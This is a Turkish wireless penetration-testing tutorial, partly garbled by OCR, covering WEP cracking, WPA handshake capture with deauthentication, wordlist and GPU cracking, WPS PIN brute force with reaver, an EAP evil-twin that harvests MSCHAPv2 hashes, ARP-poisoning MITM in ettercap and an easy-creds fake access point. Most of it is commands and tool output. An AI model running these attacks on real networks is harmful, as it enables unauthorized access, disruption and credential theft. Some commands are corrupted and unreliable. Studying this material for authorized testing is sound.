aireplay-ng -1 0 -e BGA_Wifi -a F8-1A-67-50-70-3C -h A0-F3-C1-27-BF-E8 mon0 --ignore-negative-one

Basarili islem igin cevap asagidaki gibidir.

15:12:27 Waiting for beacon frame (BSSID: F8:1A:67:50:70:3C) on channel -1
15:12:27 Sending Authentication Request (Open System) [ACK]

15:12:27 Authentication successful

15:12:27 Sending Association Request [ACK]

15:12:27 Association successful :-) (AID: 1)

Bu asamada ise toplanan IV sayisini hizli bir sekilde artirmak igin aireplay-ng araci galigtirilir. Monitor modda
dinlemeye gecildiginde WEP ile sifrelenen paketlerden bazilarinin(ARP) standart bir uzunluga ve belli bir
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hedef MAC adresine(Broadcast=FF:FF:FF:FF:FF:FF) sahip oldugu goriliir. Bu durumda ARP isteklerini sifreli
olsa dahi tanimak ve yakalamak ¢ok kolaydir.

Aireplay ARP isteklerini dinler ve aynisini Uretip tekrar enjeksiyon yapar. Hedef sistemde farkli bir IV'yle
buna cevap verir. Bu islem yapilarak kisa bir stirede farkli IV’ler kullanan paketler toplanmis olur.

aireplay-ng -3 -b F8-1A-67-50-70-3C -h A0-F3-C1-27-BF-E8 mon0 -e BGA_Wifi --ignore-negative-one

-b ile hedef AP’nin MAC adresi
-h ile bizim MAC adresimiz
-e ile hedef SSID

Cevap:

15:15:14 Waiting for beacon frame (BSSID: F8:1A:67:50:70:3C) on channel -1
Saving ARP requests in replay_arp-0704-151514.cap

You should also start airodump-ng to capture replies.

Read 982 packets (got 108 ARP requests and 115 ACKs), sent 140 packets...(501 pp
Read 1132 packets (got 153 ARP requests and 149 ACKs), sent 189 packets...(498 p
Read 1287 packets (got 204 ARP requests and 186 ACKs), sent 239 packets...(498 p
Read 1433 packets (got 273 ARP requests and 230 ACKs), sent 290 packets...(500 p

Yeterince paket(40000 civari) toplayana kadar bu isleme devam edilir. Daha 6nce agilan airodump oturumu
kontrol edilirse toplanan paket sayisinin hizla artacagi goralir. Airodump-ng lzerinde en az 40000 paket
toplandiginda Ctrl + Cile islem kesilebilir.

Son olarak aircrack-ng ile airodump-ng’nin WEP_dump olarak kaydettigi cap dosyasi okutulur.

aircrack-ng -b F8:1A:67:50:70:3C WEP_dump-01.cap

-b ile hedef AP’nin MAC adresi girilir.

Parola bulunmustur.

Opening WEP_dump-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 40514 ivs.
KEY FOUND! [ 12:34:56:78:90 ]
Decrypted correctly: 100%

Ayni islem -K opsiyonuyla FMS/KoreK metodu kullanilarakta kirilabilir. Ancak bu metot daha fazla siire ve
paket gerektirir.
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WPA/WPA2 Parola Kirma Calismasi
WPA/WPA2 parola kirma galismalarinda en 6nemli husus, heniz WPA/WPA2 igin bilinen bir zafiyet

olmadigidir. Kullanilan araglar, kaba kuvvet veya sozliik saldirilariyla verdigimiz kelimeleri sirayla pasif olarak
denemektedir. Bu durum elimizdeki kelime listesinin énemini ortaya koymaktadir. Sik kullanilan basit
parolalarin yaninda, hedefe uygun parola listesi de kullaniimalidir.

Sozluk saldirilariyla, sadece hedefin parolasi elimizdeki kelime listesinde var ise parola ele gegirilebilir. Kaba
kuvvet saldirilarinda ise rastgele Uretilen(kurallar belirlenebilir) parolalar sirayla denenmektedir. Kaba
kuvvet saldirilari cogu zaman GPU destekli sistemler ve parola kirma yazilimlariyla anlam kazanmaktadir.
CPU ile bir WPA/WPA2 parolasini kirmak yillar alabilir.

1. Oncelikle kablosuz ag kartini monitér moda almaliyiz.

airmon-ng start wlanl 11

2. Cevrede 11.kanalda yayin yapan ve WPA ile korunan kablosuz aglari gérmek i¢in(BGA_Wifi'in bulundugu
kanal 11'dir.);

airodump-ng --channel 11 --encrypt wpa wlanl

Burada WPA parolasini kiracagimiz kablosuz aga ait BSSID'yi aliyoruz. Bu ekran kapatilmadan bagka
ekranlarda asagidaki komutlar ¢cahstirilir. WPA handshake yakalandiginda bu ekranda goriinecektir.

3. Yukarida aldigimiz BSSID degerini --bssid degeri ile asagidaki komutumuza veriyoruz. Béylece bu BSSID’ye
sahip kablosuzu dinlemeye aliyoruz ve paketleri lol dosyasina yaziyoruz.(fixed channel mon0: -1 uyarisi
verdigi durumlarda --ignore-negative-one ise yarayabilir. Eger airodump ile dinlemeye gecildiginde bu uyari
varsa handshake yakalansa dahi bununla ilgili bir uyari vermeyebilir.)

airodump-ng --channel 11 --encrypt wpa --bssid F8:1A:67:50:70:3C -w lol monO --ignore-negative-
one

airodump WPA handshake’i yakaladiginda sag (st tarafta bununla ilgili bir uyari ¢ikacaktir.

CH 11 ][ Elapsed: 16 s ][ 2014-07-06 20:32 ][ WPA handshake: F8:1A:67:50:70:3C
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
F8:1A:67:50:70:3C -18 100 165 68 10 11 54e. WPA CCMP PSK BGA_Wifi
BSSID STATION PWR Rate Lost Frames Probe

F8:1A:67:50:70:3C 20:C9:D0O:BF:7D:F1 -30 1le-1 78 29

Bu islem Wireshark ile de yapilabilir. Bunun i¢in komut satirinda wireshark baslatilir.
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wireshark&

Ardindan sol tarafta yer alan arayiizlerden monQ’a cift tiklanir ve ¢ikan pencerede “Capture packets in

monitor mode” segilir. Son olarak yesil ylizgege tiklanarak sniffing islemine baslanir.

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
=] L = o =
e 2 T 3 EE ] | o B8 M &=

Filter: v Expression...

Q@

i)
®
=]
|
U

Edit Interface Settings

1 p—
WIRESHARK Version 1. IR

Interface:  monO

Capture IP address: none
Interface List Buffer size: 2 — 4 megabyte(s)
& e tist of the capture interfaces | _Capture packets in promiscuous mode

nts incomi ket - 2
(counts incoming packets) I ¥ Capture packets in monitor mode

Start | Limit each packet to bytes
Choose one or more interfaces to capture fi | Capture Filter: - Compile BPF
| )
E ethO
Yardim Iptal TRnam

E nflog I
¥ wlanl
&) any

® Capture Options

Start a capture with detailed options

® Sample Captures

Capture Help Arichassortment of example capture files on the wiki

Online

Website

Visit the project's website

#3 User's Guide
=)

The User's Guide (online ver

® Security

Work with Wireshark as sec

Wireshark bitln paketleri izleyecektir. Ancak burada énemli olan 4’li el sikismayi(4-Way Handshake)

olusturan WPA paketlerini yakalamaktir. Bu nedenle filtre kismina eapol yazilir ve bir istemcinin bir AP’ye

baglanmasi beklenir. Baglanti saglandiginda goriinti asagidaki gibi olacaktir.
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Filter: | eapol v | Expression... Clear Apply Kaydet
] | | | | |
No Time Source Destination Protocol ' Lengtl ' Info
134 6.415060000 Apple_bf:7d:fl AirtiesW_1d:0b:a4 EAPOL 185 Key (Message 4 of 4)
138 6.416024000 AirtiesW_1d:0b:a4 Apple_bf:7d:fl EAPOL 187 Key (Message 3 of 4)
140 6.417345000 Apple_bf:7d:fl AirtiesW_1d:0b:a4 EAPOL 161 Key (Message 4 of 4)

+ Frame 132: 161 bytes on wire (1288 bits), 161 bytes captured (1288 bits) on interface 0O
+ Radiotap Header vO, Length 26

+ IEEE 802.11 Data, Flags: ...... [Fale

+ Logical-Link Control

202 1V Authanticatian

0000 00 00 la 00 2f 48 00 00 0Ob f6 Of 36 00 0O 0O 0O R | P -
0010 10 6c 9e 09 cO 00 ef GO 00 00 08 02 2c 00 20 c9 N p—_—r Veveas

0020 dO bf 7d f1 00 1c a8 1d 0Ob a4 00 lc a8 1ld Ob a4 T
0030 70 33 aa aa 03 00 00 00 88 8e 01 03 00 5f fe GO p3...... ..... s
0040 89 00 20 00 00 GO G0 GO0 00 00 01 76 8a 6f 72 6b e e oovaork
0050 3c 48 58 db b9 12 7a 89 3d 98 65 3d 3d 71 39 bS <HX...z. =.e==q9.
0060 ab 97 63 9f 9e 7a bS c2 f4 12 85 00 00 00 00 0O e€iiZi vaaeaaas

0070 OO OO0 OO0 OO0 OO0 OO OO OO0 OO 00 00 00 00 00 00 OO0  ....vvvh vuvvunnn
0080 OO0 OO0 OO0 OO OO OO OO OO OO0 00 00 00 00 00 00 OO0  .....vvv vuvvuunn

0090 00 00 00 00 00 00 00 00 00 00 00 00 00 06 55 5  .....vv' v'vus ur
00a0 ec
® * mono: <live capture in progress> Fil... *... - Profile: Default

Daha sonra kirmizi kare digmeye basilir ve sniffing durdurulur. Dosya pcap uzantil olarak kaydedilir.

eAdm i |la e oaer22 5T BE el @#0E= 8

Filter: ( =

Wireshark: Save Capture File As

No. o o
Isim: WPA _sniffing
0.000000
0.201349 T
0.205256 ;| Klasor icine kaydet: | < Eduis Klasér Olustur
5 0316569 Aéke)" Yerler isim v | Boyut | Degigtirilme o
6 0.319823 Airtig | — B ESUPERONLINE_Wi-Fi_3350
7 0.320804 airtig [ Arama [ tol-02.cap 3,5MB  20:23 BGA_Wifi
P - L -
8 0.324110 airti¢ | & Yakinda Kulla... [ lol-02.csv 582 bayt 20:23 FSUPERONLINE_Wi-Fi_3350
9 0.331175 Airti — . ESUPERONLINE_Wi-Fi_3350
10 0.334433 Airti B tol-02 kismet.csv 590 bayt 20:23 l L SUPERONLINE Wi -Fi_3350
11 0.335401 Airti Masatistl 8] Lol-02 kismet.netxml 3,7kB 20:23 BGA_ Wifi
1o o anmenn i a Dosya Sistemi [ lol-03.cap 28,4kB 20:26 P
+ Frame 1: 131 bytes on wire (= Disket Siriicii [ lol-03.csv 477 bayt 20:26
+/ Radiotap Header vO, Length £ /(119 GB Dosya... ||[J] lol-03.kismet.csv 586 bayt 20:26
+ IEEE 802.11 Beacon frame, FI —— " .
4 IEEE 802.11 wireless LAN may i wordlis™ T MR Mt matem] 26k 20:26
125,1kB 20:27
0000 00 00 1a 00 2f 48 00 00 | || + — |
0010 10 02 9e 09 cO 00 ee 00 573 bayt 20:27
0020 ff ff ff ff 00 1c a8 1d
0030 00 31 c6 al ac 35 00 00
0040 42 47 41 Sf 57 69 66 69 (FICRWIH Wireshark/tcpdump/... - pcap [,} [ Compress with gzip
0050 0L Ob 05 04 Ol 02 00 00
0060 24 30 48 60 6c dd 18 00
0070 02 0L 00 00 50 f2 02 OL Wireshark... - pcapng )
0080 fb 43 f4 Iptal Save
Wireshark - nanosecond libpcap

Modified tcpdump - libpcap
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4. Simdi ise sira kablosuz aga bagh kullanicilari disiirmekte. Beklenip bir kullanicinin baglanmasida
beklenebilir ama bir kullaniciyr disiirmek ve otomatik baglanmasi ile WPA handshake elde etmek bize
zaman kazandiracaktir. Bunun igin;

aireplay-ng -0 5 -a F8:1A:67:50:70:3C -c 00:1E4C:43:A6:3E mon0

-0 deauthentication paketi hazirlar,
5 toplam paket sayisini belirtir,

-a access point’in MAC adresidir,

-c istemcinin MAC adresidir,

monO kullanilacak ag arabirimidir.

Boylece hedef AP’den geliyormus gibi istemciye 5 tane deauthentication paketi gdnderilir. Ayni islem tim
istemciler durdurulana kadar deauthentication paketi gonderilerekte yapilabilir. -0 segeneginin yaninda
belirtilen 0 sayisi islem durdurulana kadar paket gondermeye devam eder.

aireplay-ng -0 0 -a F8:1A:67:50:70:3C mon0

5. airodump-ng ekranina gecis yapilirsa WPA handshake yakalandiginda burada "WPA Handshake:
F8:1A:67:50:70:3C" gibi bir ifade yazar.

Wireshark’ta ise daha 0©nce bahsedildigi gibi filtre olarak eapol yazarak yakalanan handshake

gorintulenebilir.

6. En son elde edilen WPA handshake ile kayit edilen lol-01.cap dosyasinin aircrack-ng ile kirilmasi gerekir.

Bunun igin;

airecrack-ng -w /pentest/wireless/aircrack-ng/test/password.Ist -c lol-01.cap

-w wordlist/s6zliik/parola veritabaninin yolunu belirtir
-c .cap dosyasinin yolunu belirtir.

Hedefe Yonelik Sozliik Olusturma

Kullanilacak olan sozlik ¢ok 6nemlidir. Hem basit ve 6éntanimh parolalar, hemde hedefe yonelik olasi
parolalarin sézlik icinde kullaniimasi ¢alismanin basarisini dogrudan etkileyecektir. Basit parolalar igin
rockyou ve benzeri kelime listeleri kullanilabilir. Hedefe yonelik olasi parola kombinasyonlarini ¢ikarmak igin
ise crunch araci kullanilabilir. Ornegin hedefte Kurum A.S. olsun. Kurumsal firmalarda eger kimlik dogrulama
WPS-PSK ile saglaniyorsa genelde kurum ismi ardindan gelen 4-5 karakterlik bir sayi dizisi ve belki sonuna
bir yada iki tane 6zel karakter seklinde olmaktadir. Bu bilgiler 1siginda crunch ile bir liste olusturalim.

crunch 10 10 -t Kurum%%%%" -o kurum1.txt

Yukaridaki ifade de % sembolleri sayilara ve » sembolii 6zel karakterlere denk gelmektedir. Kurum kismi ise
-t ile Ozel bir liste hazirladigimizi belirttigimiz icin sabit olarak kalacaktir. Sonugta crunch bize Kurum2378’,
Kurum8473!, Kurum0282= gibi kombinasyonlar liretecektir.
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Crunch giktisina gére bu sozliik 3MB yer kaplayacaktir ve icinde 330000 kombinasyon barindirmaktadir.

Crunch will now generate the following amount of data: 3630000 bytes
3 MB

0GB

0TB

OPB

Crunch will now generate the following number of lines: 330000

Sifre kirildiginda ekranda goziikecektir.

root@Kkali:~# aircrack-ng -w kelime_listesi -c lol-01.cap
Opening lol-01.cap
Read 2417 packets.

# BSSID ESSID Encryption

1 F8:1A:67:50:70:3C BGA_Wifi WPA (1 handshake)

Choosing first network as target.

Opening lol-01.cap
Reading packets, please wait...

Aircrack-ng 1.2 beta3
[00:00:00] 2 keys tested (883.20 k/s)

KEY FOUND! [ Bga_Zor_Parola ]
Master Key :7FEE F8 B2 19 A2 17 58 OF B6 18 F5 F1 06 9A 00

EC127A1125B151BD A6 CD AA FF B4 88 B8 1E
Transient Key : 73 E7726B2E417475D1DB 193757 5E4799

ES5 E8 38 96 3B C9 5E 44 38 42 6C 60 BA F2 FA OC

9F 50 OE 4E B9 72 4A 77 58 53 5E 05 9C D9 1A 76

69 8C 2EDE91 77 5A D7 63 CE 17 F8 4D 26 36 B7

EAPOLHMAC :7EEOF4488072DCFFC57BA10B7DFD59ES8

GPU Destekli Parola Kirma Galismalari

GPU ile kirma icin AMD Radeon HD 7970 ekran kartina sahip Windows 8 isletim sistemi ve arag olarak
oclHashcat64 kullaniimigtir.
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Parola kirma islemi hashcat Uzerinde yapilacagl icin 6ncelikle .cap uzantili dosyanin hashcat igin uygun
sekilde donustilrilmesi lazim.

aircrack-ng -J lol lol-01.cap

-J hashcat igin olusturulan dosyanin adidir. En son yazilan dosya ise airodump-ng ile daha 6nce elde edilen
cap dosyasidir. Sonug olarak bulunulan dizinde lol.hccap diye bir dosya olusacaktir.

Windows icin gerekli komut asagidakine benzerdir. -n ve --gpu--loops secenekleri GPU modeline gore
degisiklik gosterebilir. -m segenegi WPA/WPA2 parolasi kirmak igin 2500 olarak ayarlanir. -a3 kaba kuvvet
saldinisini ifade eder. -o parametresiyle ¢ikti dosyasi belirtilir ve son olarak hccap uzantili dosyanin yolu
gosterilir.

oclHashcat64.exe -n 800 --gpu-loops 256 --status --force -m 2500 -a3 C:\Users\gpu\Desktop\lol.hccap
-0 lol.txt

Hashcat bu komut icin 1-2 yillik bir tahmini siire vermektedir. Bu nedenle hashcatin kaba kuvvet saldirilarini
daha verimli kilmak igin sundugu mask attack tipi kullanilabilir.

Session.Name...: oclHashcat

Status.........: Aborted

Input.Mode.....: Mask (?1?2?2?27?27?27?273) [8]
Hash.Target....: BGA_Wifi (20:¢9:d0:bf:7d:f1 <-> f8:1a:67:50:70:3c)
Hash.Type....... WPA/WPA2

Time.Started...: Mon Jul 07 07:15:57 2014 (1 min, 34 secs)
Time.Estimated.: Tue Jan 05 15:26:50 2016 (1 year, 182 days)
Speed.GPU.#1...: 119.7 kH/s

Recovered......: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.......: 11059200/5533380698112 (0.00%)
Skipped........: 0/11059200 (0.00%)

Rejected.......: 0/11059200 (0.00%)

WPS Destekli Kablosuz Erisim Noktalari Giivenlik Testleri

WPS(WiFi Protected Setup) glivenli bir ag kurmak igin hizlica aksiyon almayi saglayan bir teknolojidir.
Normal bir kullanici igin, AP Uzerindeki PIN numarasi baglanilmak istenen sistemde girilir. WPS ile
baglandiktan sonra gerekli konfiglirasyonlar otomatik olarak yapilir ve kullaniciya gl¢li bir WPA-PSK
parolasi olusturulur.

WPS PIN’leri sadece rakamlardan olusur ve 8 hanelidir. Son hanesi diger 7 hanenin dogrulugunu
kontrol(checksum) icin kullanilir. Bu durumda bir PIN kodunun alabilecegi degerler en fazla 10’(10 000
000)’dur. WPS kullandigi protokol geregi ise bu 7 haneyi, 4 ve 3 haneli olmak lzere iki kisima ayirip kontrol
eder. ilk 4 hane icin olasi ihtimaller 10*(10 000) ve sonraki 3 hane icin 10*(1000) toplamda ise 11000 olur.
Bazi AP dreticileri bu PIN kodunu her cihazi igin ayni yapmakta bazilari ise MAC adresinin son 6 hanesine
gore hesaplamaktadir. Airties ve bazi lGretici modemlerinde 5 PIN denemesinde sonra WPS kilitlenir ve bu
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yolla yeni kullanicinin baglanmasina izin verilmez. AP kapatilip tekrar baslatilana kadar bu koruma devam
eder. Bunu atlatmak i¢in bilinen bir ydontem yoktur.

WPS saldirilarinda yapilan ise bu 11000 ihtimali kaba kuvvet saldirisiyla ya da dntanimli PIN numarasini
girerek kirmaktir.

Bunun i¢in 6nce monitor moda goére gegilir

airmon-ng start wlanl

Ciktisi boyledir

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

-e

PID Name

2255 dhclient

13980 dhclient

32353 wpa_supplicant

Process with PID 2255 (dhclient) is running on interface wlanl
Process with PID 13980 (dhclient) is running on interface wlanl
Process with PID 32353 (wpa_supplicant) is running on interface wlanl

Interface Chipset Driver

wlanl Atheros AR9271 ath9k - [phy4]
(monitor mode enabled on mon0)

PIN kodu, arama motorlarinda aratilabilir yada MAC adresinin son 6 hanesinden PIN hesaplayan gesitli
scriptlerle bulunabilir.

:~/tools/wifi# python WPSpin.py 82b2e2
[+] WPS pin might be : 85654747

:~/tools/wifi#

AP’ler wash araciyla taranir:

wash -i mon0

Hedef belirlenirken WPS Locked kisminin No olmasina dikkat etmek gerekir. Yes olanlar AP’nin daha 6nce
bahsedildigi gibi WPS kaba kuvvet saldirilarina karsi énlem alinan ve artik bu yolla kullanici almayan tipte
oldugunu belirtir. Ayrica RSSI altinda belirtilen dbm degerinin de kiigik(reel olarak) olmamasina dikkat
etmek gerekir.
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Hedef belirlendikten sonra -b ile MAC adresi, -c ile ¢alistigl kanal, -e ile SSID ve -p ile PIN kodu verilir. -p
verilmese dahi reaver olasi tiim degerleri deneyecektir.

reaver -i mon0 -b 90:F6:52:82:B2:E2 -p 85654747 -e BGASinif -c 8 -vvv

Dogru PIN numarasi i¢in sonug asagidaki gibi olur.

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching monO to channel 8
[+] Waiting for beacon from 90:F6:52:82:B2:E2
[+] Associated with 90:F6:52:82:B2:E2 (ESSID: BGASinif)
[+] Trying pin 85654747

[+] Sending EAPOL START request
[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received M5 message

[+] Sending M6 message

[+] Received M7 message

[+] Sending WSC NACK

[+] Sending WSC NACK

[+] Pin cracked in 4 seconds

[+] WPS PIN: '85654747"

[+] WPA PSK: 'BGASinif!!"

[+] AP SSID: 'BGASinif'

[+] Nothing done, nothing to save.
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EAP Kullanilan Kablosuz Ag Ortamlarina Yonelik Giivenlik Testleri

Bu test icin hedef kurumla ayni SSID’ye sahip, her tirli EAP metotunu kabul eden, arkada kimlik dogrulama
icin RADIUS sunucu calisan sahte bir AP yayini yapilacaktir. istemci tarafinda dogru yapilandirmalarin
yapilmadigi(sunucu sertifikasinin dogrulanmamasi, yeni RADIUS sunuculara baglandiginda bunun prompt
¢ikartilarak kullaniciya sorulmasi, public sertifikalara her zaman gilivenilmesi gibi) kurumsal aglarda bu atak
basarih olabilir.

Atak icin hostapd araci kullanilacaktir. Aracin indirilmesi ve kurulumu github’daki sayfasi harfiyen takip
edilerek vyapilabilir. Github’daki sayfada hostapd-2.2 ve bu atak igin gerekli hostapd-wpe pathci
bulunmaktadir. Kurulum tamamlandiktan sonra hostapd2.2 altindaki hostapd-wpe dosyasi ¢alistirilir.
Cahstirmak icin bir konfiglirasyon dosyasi gerekmektedir. Kurulum iginde bu dosya gelmektedir. Normal
hostapd.conf dosyasi icerisinde ileriye seviye ¢ok fazla opsiyon bulunmaktadir. Kurulum sirasinda yapilan
patch islemiyle bize en gereki satirlarin aktif edildigi hali hostapd-wpe.conf olarak yer alir. Ama bunun
Uzerinde de bazi degisikliler gerekmektedir:

interface=wlanl
#driver=wired
ssid=BGA-Personel
hw_mode=g
channel=1

hostapd-wpe -s hostapd-wpe.conf

ile cahistirilabilir.

root@kali:~/tools/wifi/hostapd-2.2/hostapd# ./hostapd-wpe -s hostapd-wpe.conf
Configuration file: hostapd-wpe.conf

Using interface wlanl with hwaddr a0:f3:c1:27:bf:e8 and ssid "BGA-Personel"
wlanl: interface state UNINITIALIZED->ENABLED

wlanl: AP-ENABLED
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> The Wi-Fi network “BGA-Personel” requires WPA
5&‘ enterprise credentials.

4>

Mode: | Automatic
Username: deneme

Password: ' de neme|

Q] Show password
Remember this network

( 7 . Cancel Join

Bir kullanici baglandiginda:

wlan1: STA 28:ba:b5:39:c0:1d IEEE 802.11: authenticated

wlanl: STA 28:ba:b5:39:c0:1d IEEE 802.11: associated (aid 1)

wlanl: CTRL-EVENT-EAP-STARTED 28:ba:b5:39:¢0:1d

wlanl: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlanl: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25

mschapv2: Thu Sep 18 13:40:18 2014

username: deneme

challenge: 79:4e:1d:af:93:8f:a6:d8

response: €2:11:13:e5:74:87:48:ae:56:61:6¢:11:35:7e:¢9:0d:a8:7a:63:0d:5b:89:d4:68

jtr NETNTLM:

deneme:SNETNTLMS794e1daf938fa6d85e21113e5748748ae56616c11357ec90da87a630d5b
89d468

Son satirda bize jtr koduyla John The Ripper araci ile kirmak icin formati vermistir.

deneme:SNETNTLMS794e1daf938fa6d85e21113e5748748ae56616c11357ec90da87a630d5b89d468
satiri bir metin dosyasina yazilir.

root@kali:~/tools/wifi/hostapd-2.2/hostapd# john --format=NETNTLM deneme-eap

Loaded 1 password hash (NTLMv1 C/R MD4 DES (ESS MD5) [32/32])

deneme (deneme)

guesses: 1 time: 0:00:00:00 DONE (Thu Sep 18 13:48:03 2014) c/s: 800 trying: deneme - emened
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Man-in-the-middle(MITM) testleri

En cok karsilagilan atak tirlerindendir. Saldirgan kullanici ile AP arasina girer ve tim trafigin kendisi
Uzerinden akmasini saglar. Sslstrip gibi araglarla HTTPS trafigi icinde araya girebilir. Bu saldiri farkli
protokoller icinde uygulanabilir. Genelde ARP poisoning(zehirleme) teknigi kullanilir.

ARP poisoning temelinde yerel agdaki sistemlerin birbirleriyle MAC adresleriyle haberlesmesi vardir. MAC
adresi ile haberlesme OSI katmaninin 2. katmanina denk gelir. Haberlesme ARP istekleriyle gergeklestirilir.
Bir sistemin yeni bir aga dahil oldugunu ve bu agdaki diger bir sisteme ping atmak istedigini distinelim.
Sistem eger bu IP ile daha Once iletisim kurmus olsaydi kendi ARP tablosuna bakardi. Aga yeni dabhil
oldugunda (yada daha 6nce o IP ile iletisim kurmadiysa) dncelikle broadcast bir istekte bulunur. Bu istekte
hedef IP’nin kime ait oldugu sorulur. Hedef sistemden gelen yanitla o IP’ye ait sistemin MAC adresini elde
eder. Bu MAC adresi-IP ikilisi artik sistemin kendi ARP tablosuna da ge¢mistir.

Ornek ekran goriintiisiinde 172.16.16.186 IP’sine sahip sistemden 172.16.16.14 IP’li sisteme ping atilmistir.
Daha 6nce baglanti kurulmadig icin dnce Broadcast ARP isteginde bulunulmustur.

Filter: 'arp v | Expression... Clear Kaydet

No Time Source Destination Protocol | Lengtl | Info

107 22.470348000 Tp-LinkT_27:bf:e8 Broadcast 42 who has 172.16.16.147? Tell 172.16.16.186
112 22.562266000 Apple_bf:7d:f1 Tp-LinkT_27:bf:e ARP 42 172.16.16.14 is at 20:c9:d0:bf:7d:f1

Bu istekten 6nce ARP tablosu:

:~# arp -a
? (172.16.16.1) at 00:1f:d0:8d:86:db er] on wlanl
? (172.16.16.186) at ab:f3:cl:27:bf:e ther] on eth@

Bu istekten sonra ARP tablosu:
:~# arp -a
? (172.16.16.1) at 00:1f:d0:8d:86:db [ether] on wlanl

? (172.16.16.14) at 20:c9:dO:bf:7d:fl [ether] on wlanl
? (172.16.16.186) at a0:f3:cl:27:bf:e8 [ether] on ethl

MitM saldirilarinda saldirgan kurban sisteme gatewayin IP’sine karsilik kendi MAC adresinin oldugu ARP
paketi gonderir. Boylece gateway olarak kendisini gérmesini saglar. Diger yandan ise gatewaye kurbanin
IP’sine karsilik kendi MAC adresinin oldugu ARP paketi gbnderir. Boylece gateway saldirgani asil kullanici
olarak gorir. Artik kurbandan gikan istekler 6nce saldirganin sistemine, ordanda gatewaye ulasacaktir.
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Orjinal
Baglanti
=
Sunucu
Man-in-the-middle
Baglantisi
E—JIa
Saldirgan
Bu atak tipi Ettercap lzerinde simile edilmistir. Calisma ortami Kali’dir. Ettercap baslatilir.
root@kali:~# ettercap -G
Sirasiyla asagidakiler aktif edilir;(Yapilan islemler asagi kisimda gorilebilir.)
Options— Promisc mode
Sniff - Unified sniffing Bu secildikten sonra bir prompt c¢ikar hangi ag araylzin dinlenecegi
sorulur(wlan0,eth0 gibi).Kablosuz ag icin wlan0, wlanl gibi ag kartinin bagli oldugu arayiiz segilir.)
Hosts = Scan for hosts Bir kag kere ¢alistirilmasi iyidir.
Hosts = Hosts list Bu secildiginde tespit edilen sistemler listelenir.

e Cikan listedekilerin hepsi segilebilir. Bu o agdaki tim trafigin kendi sistemimizden ge¢mesi
demektir.
e Sadece gatewaye ait IP i¢cin “Add to Target 1”, geri kalani icin “Add to Target 2” denilirse tiim
istemci sistemlerin gatewaye ulasirkenki trafigi izerimizden geger.
® Sadece gatewaye ait IP icin “Add to Target 1” deyip, atak yapilmak istenen bir kag IP icin “Add to
Target 2” denilirse sadece o IP’lere yonelik zehirleme gergeklestirilir.
Kapsami belirlendikten sonra saldiriyl baslatmak igin Mitm sekmesinden Arp poisoning segilir.
Mitm - Arp poisoning
istemci sistemler (izerinde saldiri 6ncesi ve sonrasi arp tablosu kontrol edilirse gateway IP’sine karsilik gelen
MAC adresinin degistigi gorilebilir.
View - Connections sekmesinden kurulan trafik gérintilenebilir.
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ettercap 0.8.0

Start Targets Hosts View Mitm Filters Logging Plugins ?

Host List ®  Connections & |Profiles M ‘ Plugins & lStatistics ®  Connection data ®

IP Address Hostname
173.194.113.1/4 safebrowsing-cache.google.com
8.8.8.8

173.194.44.94  ssl-google-analytics.l.google.com
173.194.113.128 docs.google.com
173.194.113.129 docs.google.com
173.194.113.130 docs.google.com
173.194.113.131 docs.google.com
173.194.113.132 docs.google.com
173.194.113.134 docs.google.com
173.194.113.136 docs.google.com
173.194.113.137 docs.google.com
173.194.113.142 docs.google.com
192.168.1.18

78.137.98.152  api.zenqguard.biz
173.194.113.149 googlemail.l.google.com

212.58.12.133  ntvspor.net
Purge Local Purge Remote Convert to Host List

ODHCP [1/72.16.16. 1] ACK 1 172.16.16.153 255.255.255.0 GW 1/72.16.16.1 DN5 1/2.16.16.1 "bga.com.tr

Buradan sunucu ya da istemci tarafina kod enjekte edilebilir.
ettercap 0.8.0 h

Start Targets Hosts View Mitm Filters Logging Plugins ?

Host List ® } Connections & i Profiles ® l Plugins ® lStatistics ] | Connection data K I

172.16.16.195:55977 172.16.16.1:53
googlemail.l.google.com..... googlemail.l.google.com.....oovuvuvunnnnnn N WV
Join Views ] { Inject Data ] { Inject File l { Kill Connection
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Sahte Erisim Noktasi (AP) Kurulumu ve Trafik inceleme

Sahte AP yayini, kurum isimleriyle veya insanlarin ilgisini ¢ekebilecek bir SSID’yle bir kablosuz ag yayini
yapmayi ifade eder. Bir nevi sosyal mihendislik saldirisi olan bu atakta kullanicilar aga baglanir ve internete
¢ikarlar. Butiin trafikleri sahte AP (lzerinden gectigi icin arp zehirleme, dns zehirleme gibi mitm saldirilari
veya oturum ¢almak i¢in sidejacking ataklar yapmak mimkinddr.

Bu atak bazen Evil Twin ismiyle de anilir. Zaten var olan hedef AP’nin tiim Ozellikleri saldirgan tarafindan
tespit edilir ve bu ozelliklerle gercek AP’den daha gigli bir yayin yapilarak kullanicilarin baglanmasi
beklenir.

Bu amacgla kullanilacak arag easy-creds’tir. Bu arag aslinda diger bir ¢cok araci istegimiz yonde yapilandirir ve
isleri cok kolaylastirir. Gerekli olan araglarin listesi soyledir:

* screen

* freeradius (with wpe patches)
* hamster

* ferret

* sslstrip

* dsniff

* urlsnarf

* metasploit

* airbase-ng

* airodump-ng
* hostapd

* mdk3

* ipcalc

* asleap

Bunlarin bir ¢ogu halihazirda Kali Gzerinde yiklidir. Olmayan araglarin kurulumu igin github sayfasi
yardimci olabilir.

wget https://github.com/bravOhax/easy-creds/archive/master.zip
unzip master.zip
.Jinstaller.sh

ile indirilir. Zip dosyasi cikartilir ve Bash dosyasi galistirilir. Kurulum adimlari takip edilir ve kurulum
tamamlanir. easy-creds /opt dizini altina kurulur. Direk olarak

easy-creds

ile cagirilir. Asagidaki secenekleri bize sunar.

Prerequisites & Configurations
Poisoning Attacks

FakeAP Attacks

Data Review

Exit

vk wnN e
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g. Quit current poisoning session

Choice:

Sahte AP yayiniigin sirasiyla
3. FakeAP Attacks

1. FakeAP Attack Static
segilir.

Would you like to include a sidejacking attack? [y/N]: N

1. soruya N(No=Hayir) yazilir ya da enter tusuyla gegilir.

